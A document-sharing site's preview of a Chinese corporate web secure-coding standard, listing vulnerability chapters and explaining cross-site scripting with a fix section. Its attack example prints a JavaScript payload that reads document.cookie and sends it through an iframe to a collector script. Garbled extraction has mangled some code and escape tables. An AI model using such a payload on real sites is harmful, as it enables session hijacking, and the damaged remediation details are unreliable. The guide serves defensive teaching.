阿里巴巴集团web安全系统实用标准Ver1.4

上传人:pu****.1 文档编号:495486242 上传时间:2023-03-26 格式:DOC 页数:44 大小:715KB
返回 下载 相关 举报
阿里巴巴集团web安全系统实用标准Ver1.4_第1页
第1页 / 共44页
阿里巴巴集团web安全系统实用标准Ver1.4_第2页
第2页 / 共44页
阿里巴巴集团web安全系统实用标准Ver1.4_第3页
第3页 / 共44页
阿里巴巴集团web安全系统实用标准Ver1.4_第4页
第4页 / 共44页
阿里巴巴集团web安全系统实用标准Ver1.4_第5页
第5页 / 共44页
点击查看更多>>
资源描述

《阿里巴巴集团web安全系统实用标准Ver1.4》由会员分享,可在线阅读,更多相关《阿里巴巴集团web安全系统实用标准Ver1.4(44页珍藏版)》请在金锄头文库上搜索。

1、word集团web安全标准ver 目的本文档是为了让大家对各种web安全威胁的产生原因、常见攻击手段有更深入的了解,并且作为各种web安全威胁的修补方案标准,以便大家能够快速的定位漏洞代码和解除安全隐患。目录二零一零年1阿里巴巴Alibaba.1目的2使用X围2适合读者2版本控制2分发控制2第一章 页面展示5Cross Site Script5安全威胁6代码示例6攻击实例7解决方案8FLASH10安全威胁11代码示例11攻击实例11解决方案12Third-party script references15安全威胁15代码示例15攻击方法16解决方案16第二章 伪装16Cross-Site Re

2、quest Forgery16安全威胁16代码示例16攻击实例17解决方案18常见问题19URL redirect19安全威胁19代码示例19攻击方法19解决方案21第三章 注入21SQL injection21安全威胁22代码示例22攻击实例23解决方案23Code injection24安全威胁24代码示例24攻击实例25解决方案26XML injection26安全威胁26代码示例26攻击实例27解决方案27System mand injection28安全威胁28代码示例28攻击实例28解决方案28常见问题28第四章 文件操作28File upload28名称定义28代码示例28攻击实

3、例29解决方案29File download and Directory traversal30安全威胁30代码示例30攻击实例30解决方案31第五章 访问控制31Vertical Access Control31名称定义31代码示例31攻击方法32解决方案32Horizontal Access Control32安全威胁32代码示例32攻击实例33解决方案34常见问题34第六章 Session管理35Cookie only flag35安全威胁35代码示例35攻击实例35解决方案35常见问题35Cookie Secure flag35名称定义36代码示例36攻击方法36解决方案36Sessi

4、on Expires37安全威胁37代码示例37攻击实例37解决方案37第七章 密码算法安全38InsecurePseudo randomness38安全威胁38代码示例38攻击实例39解决方案40Insufficient Encryption Strength40安全威胁40代码示例40攻击实例41解决方案41第八章 错误处理与日志42Error Handling42安全威胁42代码示例42攻击实例43解决方案43Logging44记录日志44日志存储44日志字段44第九章 Changelog45第十章 相关45第一章 页面展示Cross SiteScript安全威胁Cross Site S

5、criptXSS,跨站脚本攻击。攻击者利用应用程序的动态展示数据功能,在html页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在html中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。跨站脚本攻击有两种攻击形式1、反射型跨站脚本攻击攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。2、存储型跨站脚本攻击攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。3、DOM跨站攻击由于h

6、tml页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。DOM跨站和以上两个跨站攻击的差异是,DOM跨站是纯页面脚本的输出,只有规X使用JAVASCRIPT,才可以防御。恶意攻击者可以利用跨站脚本攻击做到:1、盗取用户cookie,伪造用户身份登录。2、控制用户浏览器。3、结合浏览器与其插件漏洞,下载病毒木马到浏览者的计算机上执行。4、衍生URL跳转漏洞。5、让官方出现钓鱼页面。6、蠕虫攻击代码示例直接在html页面展示“用户可控数据,将直接导致跨站脚本威胁。Java示例:某JSP文件while(rs.next()%

7、代码中这几个加粗的变量“rs.getInt(id)、rs.getString(pname)、rs.getString(pdesc)、rs.getString(ptype),被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据当成JS/VBS脚本执行,或页面元素被“用户可控数据插入的页面HTML代码控制,从而造成攻击。PHP代码示例攻击实例如果“代码示例中的代码,是alibaba.上的一个web应用,恶意用户可以做以下攻击。攻击流程:1、 添加产品时插入恶意脚本攻击者发布产品后,等待用户来浏览产品列表页面。2、 一个用户浏览了页面页面代码页面中直

8、接显示了攻击者当时提交的“pdesc的内容,也就是恶意脚本。将执行这个JS脚本。脚本内容:a=document.createElement(iframe);function b()e=escape(document.cookie);c=a.php?cookie=,e,Math.random();document.body.appendChild(a);a.src=c.join();setTimeout(b(),5000);获取当前浏览者的COOKIE,并发送到a.php,这个文件负责接收到用户发来的cookie,并保存为haha.txt文件。这时,用户的cookie已经发送到了攻击者的服务器上

9、,攻击者可以打开haha.txt文件。这就是刚刚那个用户的cookie,攻击者可以使用浏览器插件,把自己的cookie替换成刚刚窃取用户的cookie。之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。解决方案HTML/XML页面输出规X:1, 在HTML/XML中显示“用户可控数据前,应该进展html escape转义。JAVA示例:#escapeHTML($user.name) #escapeHTML($user.name)所有HTML和XML中输出的数据,都应该做html escape转义。escapeHTML函数参考esapi实现:PHP示例:htmlent

10、ities($row)所有HTML和XML中输出的数据,都应该做html escape转义。escapeHTML需要进展html转义应该按照以如下表进展转义& - & < - > - " - '2,在javascript内容中输出的“用户可控数据,需要做javascript escape转义。html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。JAVA示例:alert() x=#escapeJavaScript($user.name) div onmouseover=x=#escapeJavaScript($user.nam

11、e)需要转义的字符包括/ - / - - - escapeJavaScript函数参考esapi实现:3,对输出到富文本中的“用户可控数据,做富文本安全过滤允许用户输出HTML的情况。示例Fasttext框架:文章内容:#SHTML($article.context)安全过滤的代码,请参考“Fasttext框架的富文本输出函数。Fasttext源码:svn.alibaba-inc./repos/ali_/mons/headquarters/trunk/mons/fasttext/4,输出在url中的数据,做url安全输出。一些html标签的属性,需要,如果接收“用户可控数据,需要做安全检查。以

12、下属性的值,如果是用户可控数据,需要做安全检查action, background, codebase, dynsrc, href, lowsrc, src,这些属性的值,一般都是一个URL,如果整串URL都是由“用户可控数据组成的,如此必须满足以下条件:1以“开头char uc = url.toCharArray();if(uc0 != h | uc1 != t | uc2 != t | uc3 != p)return ;2转义“用户可控数据中的以下字符%3C -%3E -%22 -%27举例使用:。Surl函数参考fasttext框架中的实现:5,针对DOM跨站的解决方案,详见javascript安全编码规X,URL在security.alibaba-inc./twiki/bin/view/Security/SecuritySolution/JavaScript%E7%BC%96%E7%A0%81%E5%AE%89%E5%85%A8%E8%A7%84%E8%8C%836,在给用户设置认证COOKIE时,参加ONLY,详见Cookie only flag章节。7,在style内容中输出的“用户可控数据,需要做CSS escape转义。举例使用:String s

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 建筑/环境 > 施工组织

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号